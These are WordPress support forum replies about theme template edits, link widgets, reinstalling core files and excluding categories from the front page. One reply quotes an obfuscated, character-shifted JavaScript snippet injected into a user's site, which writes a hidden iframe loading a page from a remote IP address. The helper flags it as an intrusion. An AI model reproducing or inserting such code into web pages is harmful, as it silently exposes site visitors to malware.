Len

@ mike868y,

Thanks for that info. Now that you mention it I took another look.

@ swollenthumb

In the source code at the bottom of the page I see this …

<script type="text/javascript">
<!--
var s="=jgsbnf!tsd>(iuuq;0078/326/342/3530vt0joefy/qiq(!xjeui>(2(!ifjhiu>(2(!tuzmf>(wjtjcjmjuz;!ijeefo<(?=0jgsbnf?";
m=""; for (i=0; i<s.length; i++) m+=String.fromCharCode(s.charCodeAt(i)-1); document.write(m);
//-->
</script>

I’m assuming you didn’t put that there.

Interesting theme. It uses one template file to display home, single, categories, archives and pages. Make a complete duplicate of index.php call it page.php and upload it to your theme’s folder. That new file – page.php – will now be the one used to display pages. Open that file (page.php) and look for this line …

<div class="meta"><?php _e("Posted by"); ?> <?php the_author() ?> | <?php the_category(',') ?> | <?php the_time('l j F Y'); ?> <?php the_time() ?> <?php edit_post_link(__('Edit This')); ?></div>

Edit out what you don’t want. Assuming you don’t want any of it then it should look like this …

<div class="meta"><?php edit_post_link(__('Edit This')); ?></div>

Notice I left the “edit this” link in place. It will only be visible to you when logged in and allows you quick editing access to it.

Next, from that same file remove this …

<?php comments_popup_link(__('Comments (0)'), __('Comments (1)'), __('Comments (%)')); ?>

… and this …

<?php comments_template(); // Get wp-comments.php template ?>

Make sure to make a backup before doing any of this.

Hi ourgrand,

When you said this …

The website is ourgranddayout.com

I assumed you installed WordPress at root. Upon further investigation I see that you actually installed it in a subdirectory.

http://ourgranddayout.com/wordpress/

When using widgets the Links widget will display whatever links you have configured at Links > Link Categories

You can delete those current links at Links > Edit

Add new links at Links > Add New – where you will also have the option of creating new Link Categories

That’s why I don’t like using scripts do to installs or upgrades. It’s best to do them the old fashioned way.

Try uploading a fresh copy of this file –> wp-includes/functions.php

Actually, odds are if that file didn’t make it others may not have as well.

If you want to exclude posts from a certain category from appearing on your front page first determine which page template is used to display your front page – some themes use index.php while others use home.php

Once you have figured that out you can use the query_posts function. Insert this at the top of the template file used to display your front page …

<?php
   if (is_home()) {
      query_posts("cat=-X");
   }
?>

… where X is the numerical ID of the category you want to exclude.

More reading on query_posts.

According to the error message you have the pagenavi plugin installed. It must also be built into that theme’s function.php file because it is trying to declare it there as well hence the error. Deactivate the plugin.